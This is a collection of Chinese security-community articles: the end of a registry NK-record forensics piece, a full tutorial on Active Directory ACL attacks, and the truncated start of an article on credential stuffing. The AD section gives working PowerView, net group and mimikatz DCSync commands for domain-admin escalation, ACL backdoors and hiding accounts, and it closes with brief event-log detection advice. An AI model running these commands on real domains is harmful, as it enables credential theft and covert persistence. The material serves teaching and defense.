这也许看起来会很奇怪，我们得到了一条大小为负数的记录。一条记录的大小怎么会是一个负数呢？当然不是这样的了。这条记录的大小为144个字节，但正负号所表示的是一条记录目前是否已经被使用了。
如果某一条记录的大小为负数，表示的是它已经被使用了中。如果一条记录的大小为整数，那么它就还没有被使用。这也就意味着，当我们看到某条记录的大小为负数时，这条记录就已经被注册表中其他的“活动”记录所引用了。“活动”的意思就是你可以通过regedit.exe来查看这些记录。
**签名**
一条NK记录的签名信息起始于偏移量0x04处。这条NK记录的签名是一个ASCII字符串“nk”，其十六进制数值为0x6E6B。你可以通过查看这个[表格](http://www.ascii-code.com/)来进行验证。
**表识符（flag）**
flag是用来表示NK记录中不同属性的。flag的值从偏移量0x06开始，长度为两个字节。在上面所给出的例子中，表示符的值为0x2C00，也可以简单写成0x2C。表示符的一些常见的值如下：
l Compressed Name = 0x0020 (二进制值为100000)
l Hive Entry Root Key = 0x0004 (二进制值为000100)
l Hive Exit = 0x0002 (二进制值为000010)
l No Delete = 0x0008 (二进制值为001000)
通过查看上面这个列表，我们可以看到每一个表示符对应着一个特定的十六进制数值，以及相应的二进制数值。0x2C的二进制格式为101100。如果我们对flag的值进行“按位与”计算，那么我们可以得出下列数据：
101100 & 100000 == 100000 (表示 Compressed Name flag已设置)
101100 & 001000 == 001000 (表示No Delete flag已设置)
101100 & 000100 == 000100 (表示Hive Entry Root Key flag已设置)
101100 & 000010 == 000000 (表示Hive Exit flag尚未设置)
在得到了每一个flag的值之后，然后将这些值(100000,001000和000100)加起来就可以得到101100，即0x2C。
你可以通过[这个网站](http://www.miniwebtool.com/bitwise-calculator/)自行进行测试。
Compressed Name的flag表示的是这条NK记录是以ASCII码的形式进行存储的（我们将会在后面对其进行更多的讨论）。
Hive Entry Root Key的flag非常的重要，因为它决定的是注册表hive的root节点。在一个注册表hive中只有一个节点有这个flag。
**最后写入时间**
我们可以在偏移量0x08处找到最后写入时间戳，其长度为8个字节。这个时间戳表示的是这条NK记录最后一次更新的时间。系统将其存储为一个64位长度的值，它代表的是从1601年1月1日0点开始，到现在一共经过的100纳秒间隔数。
上面例子中记录的最后写入时间戳为2014年11月28日下午4时52分17秒。
这一数据的结构类型与我们在[第一季](http://bobao.360.cn/learning/detail/2530.html)中讨论的是一样的。
**父类Cell索引**
父类cell索引起始与偏移量0x14处，其长度为4个字节。在上面所给出的例子中，其父类cell索引为0x20070000，即0x720。在一条NK记录之中，如果HiveEntryRootKey的flag已经设置了，那么这个值所指向的就不再是一条NK记录了，因为它已经成为了注册表hive的root。
对于其他的NK记录而言，父类cell索引指向的是这条NK记录上一级的NK记录。父类cell索引可以允许你根据当前子项进行上下级索引。
当你需要恢复或者重组某一条已经删除了的NK记录时，这个域就十分的重要了。因为当一条NK记录被删除之后，子项计数将会被重置为0，子项cell索引也会被覆盖。但是父类cell索引却不会，查看了父类cell索引之后，我们变能够将子项重新与他们的上一级重新组合了。
**子项计数**
子项计数的值从偏移量0x18处开始，其长度为4个字节。在上面的例子中子项计数的值为0x0C000000，其十进制数值为12。这也就意味着这条NK记录将有12个子项。
**子项Cell索引**
子项cell索引从偏移量0x20处开始，长度为4个字节。在上面的例子中，子项cell索引为0xE8326E00，其相对偏移量为0x6E32E8。此时与我们在之前的文章中所进行的操作一样，将这个值加上0x1000，然后便可以在十六进制编辑器中得到准确的值。
**数值计数**
数值计数从偏移量0x28处开始，其长度为4个字节。在上面的例子中，子项计数的值为0x00000000,即0。
**键值Cell索引**
键值cell索引从偏移量0x2C处开始，其长度为4个字节。这个数据域与VK记录有关，我们将会在第三季中对VK记录进行更加深入的讨论。在上面的例子中，键值cell索引为0xFFFFFFFF。
**安全Cell索引**
安全Cell索引从偏移量0x30处开始，其长度为4个字节。安全cell索引与SK记录有关，我们将会在第四季中对SK记录进行更加深入的讨论。
**名称**
NK记录的名称从偏移量0x50处开始。名称的长度占2个字节，从偏移量0x4C处开始。在上面的例子中，长度值为0x3900，十进制数值为57。
将上述所有的内容组合在一起
在下面这张图片中，我们已经将最重要的部分标注了出来：
通过注册表浏览器查看NK记录，即下图所示：
**我们将会在第三季中讨论VK记录，然后在第四季中对SK记录进行讲解，敬请期待。** | 社区文章 |
# AD域中的ACL攻防探索
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
关于域内ACL的攻防近两年经常被人所提起，同时也产生了很多关于域内ACL相关的工具和攻击方式，本文将会从ACL的概念谈起，然后介绍几种不同的域内攻击方式以及如何监测和防御对于ACL的攻击。
## 0x01 ACL的概念和作用
### ACM：
首先想要了解ACL首先需要了解Access Control
Model（访问控制模型），根据官网（[https://docs.microsoft.com/zh-cn/windows/win32/secauthz/access-control-model）给出的定义：](https://docs.microsoft.com/zh-cn/windows/win32/secauthz/access-control-model%EF%BC%89%E7%BB%99%E5%87%BA%E7%9A%84%E5%AE%9A%E4%B9%89%EF%BC%9A)
访问控制模型能够控制进程访问一些安全对象，或者是控制进程执行各种系统管理任务。原文：The access control model enables you
to control the ability of a process to access securable objects or to perform
various system administration tasks。
用通俗一点的话来说ACM就是一个判断你在一个档案馆（在这里可以理解为整个域）里是否有权限打开某个档案抽屉（用户对象、用户组对象、Computer对象），并且是否能在这个档案抽屉中取走、存放、修改档案（读、写、修改）的一个模型。
访问模型包含哪些部分：
1、Access Tokens（访问tokens）
2、Security Descriptors（安全描述符）
a、Discretionary Access Control List (DACL)
b、System Access Control List (SACL)
Access Control Lists（ACL）
Access Control Entries（ACE）
Access Rights and Access Masks（访问权限和访问掩码）
### Access Token：
当线程与[安全对象](https://docs.microsoft.com/zh-cn/windows/win32/secauthz/securable-objects)交互或尝试执行需要特权的系统任务时，系统使用访问令牌来标识用户，访问令牌包括用户的SID、所在组的SID等等信息：
The security identifier (SID) for the user's account
SIDs for the groups of which the user is a member
A logon SID that identifies the current logon session
A list of the privileges held by either the user or the user's groups
An owner SID
The SID for the primary group
The default DACL that the system uses when the user creates a securable object without specifying a security descriptor
The source of the access token
Whether the token is a primary or impersonation token
An optional list of restricting SIDs
Current impersonation levels
Other statistics
### Security Descriptors安全描述符
SID（Security Identifiers）即安全描述符。
安全描述符标识对象的所有者，并包含以下访问控制列表：
1、Discretionary Access Control List (DACL) 自由访问控制列表
2、System Access Control List (SACL) 系统访问控制列表
每一种控制列表中都存在若干条ACE（Access Control Entries）
用[https://wenku.baidu.com/view/dba5b16e1eb91a37f1115cec.html这个链接下的一个图可以很清晰的说明什么是安全描述符：](https://wenku.baidu.com/view/dba5b16e1eb91a37f1115cec.html%E8%BF%99%E4%B8%AA%E9%93%BE%E6%8E%A5%E4%B8%8B%E7%9A%84%E4%B8%80%E4%B8%AA%E5%9B%BE%E5%8F%AF%E4%BB%A5%E5%BE%88%E6%B8%85%E6%99%B0%E7%9A%84%E8%AF%B4%E6%98%8E%E4%BB%80%E4%B9%88%E6%98%AF%E5%AE%89%E5%85%A8%E6%8F%8F%E8%BF%B0%E7%AC%A6%EF%BC%9A)
可以看到安全描述符由Header、SID和DACL、SACL组成
#### DACL
高级安全设置中的权限就是DACL的列表
#### SACL
高级安全设置中的审核就是SACL的列表
其中红色圈出来的每一条都是一条ACE
#### ACE
ACE是针对特定用户或特定组的单个权限授予（或拒绝权利）的配置结构。ACE有许多不同类型，但是在Active
Directory的权限中，只有四种不同的含义，两种分别用于授予和拒绝权限。
1、Access Allowed ACE：
这种类型的ACE类型始终为0，设计目的是为了将权限轻松的分配给整个对象。ACE
Flags确定这是继承权限还是显式给定的权限。所有此对象的子对象都会继承为ACE Type为0。
2、Access Allowed Object ACE:
此类ACE的类型始终为5，用于指定对象的某些属性的权限
3、Access Denied ACE
此类ACE的值始终为1，用于简单的撤销整个对象的权限。ACE标志确定这是继承还是显示分配的撤销权限，并且所有的子对象都会继承这个权限。
4、Access Denied Object ACE
此类ACE的类型始终为6，此对象可以撤销ACE特殊权限或有限的权限，例如针对某些属性撤销，这里提供的有和类型为5的ACE相同的例子（Object Type
GUID），Flags字段指示是否存在对象类型字段或者继承类型字段，或者两者都有。
#### Access Mask
在ACE中有Access
Mask这个字段，它代表着此条ACE所对应的权限，比如完全控制（GenericAll）、修改密码（ResetPassword）、写入属性（WriteMembers）等等。
#### Trustees
Trustees的意思为受委托人，受托者是一个ACE所应用到的用户账户，组账户或者是登录会话。也就是说，谁是某一个ACE的受托者，那么这条ACE中的Access
Mask所对应的权限（可能是拒绝可能是通过）就会赋予受托者。比如下面这一条的受委托人实际上就是zhangs账号。
### 安全描述符枚举
上面说了什么是安全描述符，那么安全描述符枚举就是在域中如何去枚举某个用户或者是某个域内对象的安全描述符的过程。
通过.NET中的System.DirectoryServices.DirectorySearcher和System.DirectoryServices.SecurityMasks类可以对域内的安全描述符进行枚举，比如下面的这段powershell代码就可以枚举域内用户xiaom的ACE：
$Searcher = New-Object System.DirectoryServices.DirectorySearcher('(samaccountname=xxm)')
$Searcher.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl -bor [System.DirectoryServices.SecurityMasks]::Owner
$Result = $Searcher.FindOne()
$Result.Properties.ntsecuritydescriptor[0].gettype()
$ADSecurityDescriptor = New-Object System.DirectoryServices.ActiveDirectorySecurity
$ADSecurityDescriptor.SetSecurityDescriptorBinaryForm($Result.Properties.ntsecuritydescriptor[0])
$ADSecurityDescriptor
$ADSecurityDescriptor.Access
这里枚举的是安全描述符中的DACL中的每一个ACE（一共13条，和DACL中对应）：
Powerviewer遍历:
在Powerview的结果中不是根据每一条ACE来显示的，而是把每一个ACE中的每一个权限单独显示一条，所以结果的个数不等于DACL列表中的数量。
. .\powerview.ps1 Get-DomainObjectAcl -Identity xxm -ResolveGUIDs
任何经过域验证的用户都可以枚举默认域中大多数对象的安全描述符。
### 线程与安全对象之间的交互：
在Access check中，系统将线程访问令牌中的安全信息与安全对象安全描述符中的安全信息进行比较。每一个进程都有一个primary
token，用于描述与该进程关联的用户账户的安全上下文。默认情况下，当进程的线程与安全对象进行交互时，系统将使用primary token。
系统检查对象的DACL，查找应用于用户的ACE，并从线程的访问令牌中分组SID，系统会检查每个SID，知道授予或拒绝访问，或者知道没有其他ACE要检查为止。
### The Security Reference Monitor(SRM 安全参考监视器)
The Security Reference Monitor直译为SRM
安全参考监视器，在ACL中排列顺序继承等等都可能影响最后的结果，而SRM就是起到对ACE顺序的评估作用。可参考：
<https://networkencyclopedia.com/security-reference-monitor/>
<https://ldapwiki.com/wiki/Security%20Reference%20Monitor>
当登录的用户访问对象时，安全性参考监视器将检查对象的安全性描述符，以查看MSFT访问令牌中列出的SID是否与ACE条目匹配。如果存在匹配项，则匹配ACE中列出的安全权限将应用于该用户。
当“域管理员”组的成员请求更改用户密码的能力时，SRM必须决定是否允许该请求。SRM会评估目标用户的DACL，确定“域管理员”组（进而是该组的成员）对用户具有完全控制权。
评估对象的DACL时，SRM将按规范顺序读取ACE，ACE的排序如下：
1.明确定义的DENY ACE。
2.明确定义的ALLOW ACE。
3.继承的DENY ACE。
4.继承的ALLOW ACE。
SRM这个东西知道它的作用就可以了，不需要太深究。
可参考：<https://docs.microsoft.com/zh-cn/windows/win32/secauthz/dacls-and-aces>
## 0x02 特殊权限的实例
ACL是一个访问控制列表，是整个访问控制模型（ACM）的实现的总称。所以这里说的特殊权限是指一些非常有利用价值的权限：
GenericAll
GenericWrite
WriteOwner(修改所有者)
WriteDACL：写DACL（有一个解释是WriteDACL是在攻击链中启用其他权利的权利）
AllExtendedRights
AddMembers：将任意用户、组或计算机添加到目标组。
ForceChangePassword：强制更改密码，在不知道当前密码的情况下更改目标用户的密码。
### GenericAll
GenericAll在安全描述符中的Access Mask中进行标识，是包含了所有其他权限的权限。授予对目标对象的完全控制权，包括WriteDacl 和
WriteOwner 特权。可以使用PowerView中的Add-DomainObjectAcl进行利用。下面举例看一下如何给一个User对象添加一条GenericAll的ACE
#### GenericAll on User
使用zhangs账户和xxm账户做演示：
两个账户的SID分别为：
zhangs:
S-1-5-21-3305457972-2547556381-742707129-1604
xxm:
S-1-5-21-3305457972-2547556381-742707129-1105
这里使用zhangs账户，所在的主机是win2012，然后使用PowerView的函数Get-ObjectACL查看对zhangs具有GenericAll权限的项
Get-ObjectAcl -SamAccountName zhangs -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
在看一下xxm的
Get-ObjectAcl -SamAccountName xxm -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
然后在域控dc2012上设置xxm账户的DACL,添加对xxm的完全控制(GenericAll)权限，也可以使用powerviewer命令：
Add-DomainObjectAcl -TargetIdentity xxm -PrincipalIdentity zhangs -Rights All -Verbose
再在win2012上使用之前的命令查看ActiveDirectoryRights属性等于GenericAll的acl发现多了一条
这条ACL的含义是：
zhangs账户对xxm账户具有完全管理(GenericAll)权限
在设置ACL之前和设置之后使用zhangs账户权限设置xxm账户的密码可以看到区别(设置完成之后会立即生效)
net user xxm admin123! /domain
此时再使用已经修改的密码结合runas命令就可以直接创建一个xxm权限的cmd窗口：
runas /noprofile /user:test\xxm cmd
运行之后会弹出一个xxm权限的cmd窗口，即可使用xxm权限执行任意命令
#### GenericAll on Group
环境和上文相同，GenericAll on Group说的是对一个组有GenericAll权限，查看用户组domain admins：
Get-NetGroup "domain admins"
此时zhangs和xxm均为域内普通权限用户，然后在域管理员组domain admins的DACL中加入zhangs的GenericAll权限：
Add-DomainObjectAcl -TargetIdentity "domain admins" -PrincipalIdentity xiaom -Rights all -Verbose
然后再win2012上使用命令查看domain admins的权限
Get-ObjectAcl -ResolveGUIDs| ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=test,DC=local"}
可以看到在结果中有一条SID为zhangs的SID，权限为GenericAll
然后尝试将xxm加入domain admins组：
net group "domain admins" xxm /add /domain
可以看到已经成功将xxm加入管理员组,然后再将xxm移除出domain admins了，并将DACL中的内容删除之后再尝试加入，发现已经被拒绝。
在zhangs具有这个权限的时候使用Powerviewer能够达到相同的添加用户到某个组的目的，不过使用net命令更方便一点
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'test'
#### GenericAll/GenericWrite/Write on Computer
这个权限能够对Computer的属性进行改写，利用方式是结合Kerberos
RDBC来进行攻击这个具有可写权限的计算机。比如此时对Win2012这台主机具有写权限，那么可以使用Powermad工具创建一个假的域内主机testrbcd，然后将Win2012主机的msDS-AllowedToActOnBehalfOfOtherIdentity字段设置为testrbcd$
Set-ADComputer win2012 -PrincipalsAllowedToDelegateToAccount testrbcd$
然后使用Rubeus工具获取能够访问win2012特定SPN的票据。详情可参考：[http://blog.leanote.com/post/ambition/95dac75ccad8。](http://blog.leanote.com/post/ambition/95dac75ccad8%E3%80%82)
### GenericWrite
GenericWrite也是在Access Mask中进行标识，此权限能够更新目标对象的属性值，可以使用PowerView中的Set-DomainObject方法设置目标属性的值。
### WriteDacl
WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项，从而使他们可以授予自己对对象的完全访问权限。因此，WriteDacl是在链中启用其他权利的权利。
### Self (Self-Membership) on Group
这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE，也就是说针对的是组对象)
添加完之后可以使用zhangs的权限将zhangs自身添加到Domain Admins组：
net group "domain admins" zhangs /add /domain
### WriteProperty (Self-Membership)
WriteProperty直译为写所有权。这个权限利用针对的对象为组对象，能够赋予账户对于某个组的可写权限，在Domain
Admins组里设置zhangs账户的WriteProperty权限：
然后使用zhangs账户权限可以将xxm账户加入Domain Admins组：
net group "domain admins" xxm /add /domain
### WriteProperty on Group
WriteProperty on
Group说的是对一个组具有WriteProperty权限的情况下，“写入全部属性”除了WriteProperty还包括了其他的权限：
CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead,
WriteDacl, WriteOwner
在Domain Admins组的列表中添加写入全部属性，会生成一条新的ACE
访问被标记为特殊，没有实际显示具体权限，测试添加此条ACE前后：
### WriteOwner
WriteOwner权限允许委托人修改对象的安全描述符的所有者部分。也就是说，假如用户A对administrator用户有这个权限，那么A能利用这个权限给自己附加其他的权限。
Self (Self-Membership) on Group
## 0x03 与ACL相关的攻击方式
### Exchange相关
#### Organization Management组
Organization Management组的的组描述为：
此管理角色组成员具有对 Exchange 对象及其在 Exchange 组织中的属性进行管理的权限。另外，成员还可以代表组织中的角色组和管理角色。
在安装Exchange时会创建这个组，赋予其访问Exchange相关活动的权限。除了能访问这些Exchange设置选项之外，该组的成员还可以修改其他Exchange安全组的组成员关系。比如Exchange
Trusted Subsystem安全组。这个组是Exchange Windows Permissions安全组的成员之一。
Exchange Windows Permissions安全组具备当前域对象的writeDACL权限。也就是说只要成为Organization
Management组的成员，我们就可以提升成为域管理员权限。复现流程可以参考：
<https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E4%BD%BF%E7%94%A8Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%AD%E7%89%B9%E5%AE%9A%E7%9A%84ACL%E5%AE%9E%E7%8E%B0%E5%9F%9F%E6%8F%90%E6%9D%83/>
#### NTLMRelay与DCSync
NTLMRelay是一个已经存在了很久的攻击方式，在2018年和2019年分别爆出了关于Exchange的SSRF漏洞（CVE-2018-8581）+NTLMRelay攻击、CVE-2019-1040
NTLM协议漏洞的两种利用方式，传播最广泛的利用方式就是通过这两个漏洞对域对象的ACL进行改写，实现DCSync，从而获取krbtgt账户的HASH值。关于CVE-2018-8581和CVE-2019-1040在这里就不再说明，可以参考：
<https://paper.seebug.org/833/>
[https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/?from=timeline&isappinstalled=0](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/?from=timeline&isappinstalled=0)
<https://mp.weixin.qq.com/s/NEBi8NflfaEDL2qw1WIqZw>
下面主要说一下DCSync与ACL的关系。
##### DCSync需要什么权限
一个域内用户想要通过DCSync获取krbtgt的HASH值需要在域对象或者是域内的高权限组中有以下三种权限的其中一个：
复制目录更改Replicating Directory Changes (DS-Replication-Get-Changes)
复制目录更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)（Exchange用的就是这个） 正在复制筛选集中的目录更改Replicating Directory Changes In Filtered
Set (rare, only required in some environments)
这几个权限在DACL的设置页是可以看到的：
##### 如何给一个用户添加DCSync权限
除了上面的利用方式之外，如果想单纯的尝试给一个账号添加DCSync权限，或者是在有了高权限账号的情况下希望存留DCSync的后门，可以使用powerviewer.ps1的Add-DomainObjectAcl函数实现：
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity zhangs -Rights DCSync
执行之后会在域对象（”DC=test,DC=local”）的DACL中添加一条主体为zhangs的权限为”复制目录更改”的ACE：
然后使用zhangs进行DCSync，这里可以看到添加前后的变化：
.\mimikatz.exe "lsadump::dcsync /user:test\krbtgt" "exit"
注意，这里复制目录更改权限的ACE是添加在域对象DC=test,DC=local上的。
### Invoke-ACLPwn
运行时需要.NET 3.5环境，Windows Server
2012安装遇到报错，最后的解决方法(需要在网上下载SxS的安装包[https://pan.baidu.com/share/init?surl=kDgdYerM0lVB32Q_IEqLUw提取码：gwzk)：](https://pan.baidu.com/share/init?surl=kDgdYerM0lVB32Q_IEqLUw%E6%8F%90%E5%8F%96%E7%A0%81%EF%BC%9Agwzk\)%EF%BC%9A)
dism.exe /online /enable-feature /all /featurename:NetFX3 /Source:F:\Sources\SxS\
GitHub地址：<https://github.com/fox-it/Invoke-ACLPwn>
背景信息在发布者博客上：<https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/>
环境需要：
.NET 3.5 + sharphound.exe + mimikatz.exe
用法示例：
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -NoDCSync
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -userAccountToPwn 'Administrator'
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -LogToFile
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -NoSecCleanup
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'
使用第一条标识了-NoDCSync（不会做DCSync的动作，只判断是否能够存在能够DCSync的权限）的命令：
提示Got WriteDACL
permissions.如果加上mimikatz.exe一起使用,可以看到直接获取了krbtgt的HASH值，也就是说已经可以直接生成黄金票据了：
但是这个工具经过实际测试只适用于小型的域控，在有上百万条ACL的域内会出现跑了几天也跑不出结果的情况
### 针对DACL的隐身方式
通过隐藏账户可以掩盖主体本身，阻止防御者轻易的发现谁实际上拥有ACE中指定的权限。这种方式主要应对的是对于高危的ACL进行扫描行为。
#### 隐藏用户
1、将要隐藏的用户所有者改为攻击者或者攻击者控制的账户
2、设置一条拒绝完全控制的ACE
点击应用之后所有用户都无法在外部访问查看此账户的ACL，包括administrator：
Get-DomainObjectAcl -Identity hideuser -domain test.local -Resolve
但是如上图所示，在ADSI编辑器中还是可以看到的，如果想要在ADSI编辑器中也看不到，那么就要将主体设置为用户本身，或者其他攻击者控制的账户：
点击应用可以看到，即使在ADSI编辑器中也无法查询到：
同时在AD用户和计算机中用户类型会变为未知：
此时这个账号无法删除和访问属性，但是仍然能够正常使用
#### 隐藏OU中所有的子对象
直接添加一条拒绝Everyone的列出内容权限
然后再查看这个OU的时候会发现所有的用户都不显示。
同样，通过powerviewer也无法查看ACL：
### 形形色色的ACL后门
#### AdminSDHolder
AdminSDHolder会将自身的ACL列表每隔一个小时向受保护的组中同步，所以如果在AdminSDHolder中添加一个ACE作为后门，则受保护的组中将会一直被同步策略。受保护的组有[https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN：](https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593\(v=msdn.10\)?redirectedfrom=MSDN%EF%BC%9A)
在AdminSDHolder的DACL中设置一条主体为zhangs，权限为完全控制的ACE
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=test,DC=local" -PrincipalIdentity zhangs -Rights All
不过这样也有一个坏处就是所有的受保护组的ACL中都会被添加上这一条作为后门的ACE，隐藏其中一个账户并不能起到作用，所以还是比较容易被发现的。并且添加时会产生一条ID为5136的事件日志。
也可以通过修改注册表设置推送时间，这里设置为60s：
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
60秒之后就可以使用xiaom权限添加任意用户到domain admins组
<http://www.selfadsi.org/extended-ad/ad-permissions-adminsdholder.htm>
<https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AdminSDHolder/>
#### 关于LAPS的隐藏后门
LAPS的全称是Local Administrator Password
Solution，主要作用是将域内主机的本地管理员密码存储在LDAP中，作为计算机账户的一个机密属性，配合GPO实现自动定期修改密码，设置密码长度、强度等。LAPS通过首先将Active
Directory架构扩展为包括两个新字段ms-MCS-AdmPwd（密码本身）和 ms-MCS-AdmPwdExpirationTime（密码过期时）来完成其方法。
具体的配置和如何查询明文密码可以参考：<http://drops.xmd5.com/static/drops/tips-10496.html>
此时的环境：一个配置了LAPS的testwin7主机（属于testou）、一个域中的普通的测试账号zhangs
此时通过命令查看testwin7主机的本地administrator密码：
Get-AdmPwdPassword –ComputerName testwin7
在zhangs登录的主机上使用LAPS UI尝试获取testwin7的本地密码没有成功：
然后在testou中添加zhangs的读取密码的权限：
Set-AdmPwdReadPasswordPermission -Identity testou -AllowedPrincipals zhangs
此时再在zhangs主机上尝试获取testwin7密码:
能够成功获取，但是此时的zhangs的权限是能够通过Find-AdmPwdExtendedRights排查到的：
Find-AdmPwdExtendedRights -Identity testou -IncludeComputers | fl
解决方法是在testou中新建一个msImaging-PSPs类型的对象testmspsps，此类容器的权限不能被Find-AdmPwdExtendedRights所遍历，同时将testwin7移动到testmspsps中，然后在testmspsps的ACL中设置主体为zhangs的完全控制权限：
此时在zhangs中就可以获取testwin7的密码，并且不会被Find-AdmPwdExtendedRights这个命令遍历到：
这种方式的缺点在于需要移动域内主机所属的组。
#### 针对域对象的后门
上面所说的后门都是针对User Objects或者Group Objects的，这里要说的是针对Domain
Objects。通过在Domain对象的DACL中添加ACE能够赋予用户特定的权限。因为实现这个操作需要较高权限，所以可以使用，这里使用powerviewer.ps1的Add-DomainObjectAcl函数实现：
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity zhangs -Rights DCSync
然后使用zhangs进行DCSync，这里可以看到添加前后的变化：
.\mimikatz.exe "lsadump::dcsync /user:test\krbtgt" "exit"
#### 针对组策略对象的ACL
GPO中的ACL同样能够进行权限维持等操作，修改SYSVOL的属性，意味着主体可以修改GPO的设置。
以域控组的组策略为例，可以在组策略管理中的委派选项中进行设置：
创建之后在对应的GPO文件夹下可以看到对应的权限：
## 0x04 监测防御
在域内修改ACL时会产生ID为5136的事件日志，可以通过日志分析平台进行检测和发现，可以通过匹配ObjectDN字段判断是否存在域内关键对象的ACL被修改
上图是AdminSDHolder组被修改时的windows事件日志。这里需要兼顾的就是对于ACL对象的选择，确定哪些是关键组，以及是否存在漏掉的关键组。如果一个域里没有配置对域控中ACL日志的检查，那么几乎是没有办法防御的。
## 0x05 小结
本文主要说明了域内的ACL相关攻击手法，有一些已经广为人知，还有一些可能很少在实际的攻击中出现，如果有更好的思路和建议欢迎探讨。在windows的安全体系中ACL是至关重要的一环，并且在本地ACL方面也有很多的利用方式，比如硬链接结合权限问题进行提权的手法，这里不再赘述。
## 参考链接：
<http://www.selfadsi.org/extended-ad/ad-permissions-adminsdholder.htm>
<https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AdminSDHolder/>
<http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/>
<https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf> | 社区文章 |
机器人的洪流：刷库、撞库那些事儿
作者：目明@阿里安全
一、 那些信息泄露的事
面对社会上层出不穷的诈骗新闻，我们可以发现骗子们诈骗成功的一个关键是：骗子们知道你叫什么、住在哪里、买了什么东西、花了多少钱。这些信息骗子们是从哪里得来的呢？
最近某票务网站就出现了这么一例case，因为骗子们知道其在该网站上的订单信息、电话和住址，因此认为骗子就是真实的该网站的客服人员，从而被引导到转款等流程中。
二、 他们怎么知道我们的个人信息
大多数人看到这些短信的第一反应是:我的信息被平台商卖给了骗子!其实对于大部分大厂商来说，客户的信息都是最重要的资产，不会卖给其他任何第三方，更不可能卖给骗子。
真实的情况是以下这几种：
· 这个平台存在漏洞，数据被黑客攻破，整个数据库被“拖”走了。（整个数据库都被别人掌握，然后贩卖出去）
· 平台内部出现人事问题，导致数据被人拿去售卖了。（内鬼作案）
· 平台的某些接口存在风控漏洞，导致黑客利用已有的数据库内容进行匹配，导致数据被人批量拿走。(所谓的刷库撞库)
随着互联网安全的逐步发展，前两种情况已经比较少了，市面上常见的泄露都是由于第三种情况造成的，也即刷库、撞库这种手法。从之前的case中，我们也可以看到最终导致信息泄露的原因是刷库、撞库：
三、 数据库泄露严重吗
简单列举下一些大家都知道的数据库泄露：
· 某SDN数据
· 某讯群数据
· 某酒店开房数据
· 某知名bbs论坛数据库
· 等等
在明处的泄露数据库，已经数不胜数，而在暗处，只是流通在各个小圈子中的数据库会更加可怕。这也是为什么，有人说道，在互联网时代的所有人，都是在裸奔。这些数据库可能不会有你的全部信息，但是黑产通过数据关联、整理和分析，可以得到你的相关全部数据。对于普通人来说，注册一个网络账号，可能使用的账户名、密码等都具有极度的相似性（甚至完全一样）。在某些特别的应用中，如使用身份证、手机号注册的账号，这些用户名具有先天一致性。通过对这个社工库的不断完善，黑客可以得到越来越多关于你的信息。
四、 黑客是如何通过已有数据库进行撞库的
以上是在攻击者视角的一个图，对于部分公司来说，存在一个误区，即风险只是存在于登录等场景中，但是实际上，任何与后端数据库存在交互的地方都有可能被攻击者用于撞库攻击。
攻击第一步——洗库：
之所以要进行洗库，是为了加快最后撞库的速度，同时避免被发现。因为通常在登陆等入口的防御强度通常会更强.
例如找密场景中：
通过这样一个接口，攻击者用于进行第一波洗库的工作
攻击第二步——撞库：
撞库的流程与洗库的逻辑基本一致，其采用的接口与洗库可以一样也可以不一样，完全看攻击者找到了哪个较弱的接口。暴力破解与撞库的差别也就是：密码库是已经准备好的，还是实时生成的而已。
五、 现有的防御思路
总结上面提到的撞库刷库等问题，我们面临了以下几种挑战:攻击面的确认，数据等级的确认。哪些地方可能存在利益点，哪些地方的数据危险性高，并且要不无遗漏的总结出来，才能达到一个较好的防御效果；如果漏掉了其中的一个，根据木桶原理，即代表整体失效
如何保护数据
假设已经确认了需要保护的点，如何对其进行有效防护？
普通验证码
带文字信息的普通验证码，是考虑到防御时，第一个会出现在脑海里面的东西。但是，随着该模式的不断被研究，打码平台、字库、各种验证码识别算法不断出现，导致在实际的攻防效果上来说，普通验证码已经不具有阻拦恶意攻击的能力了。
手机验证码
有部分厂商认为，手机卡和手机卡是一个可以做到对用户进行真实性访问确认的好工具。在刚开始的几年内，该方法的确是一个有效的方法，但是随着黑产开始大规模的应用猫池和特殊的零月租手机卡，这个方法的实用性也大打折扣。甚至催生出了一个新的产业：卡商。
一条短信对于黑产的成本也只是0.1元而已，并且随着产业的不断发展，这个价格只会越来越低。
IP限制
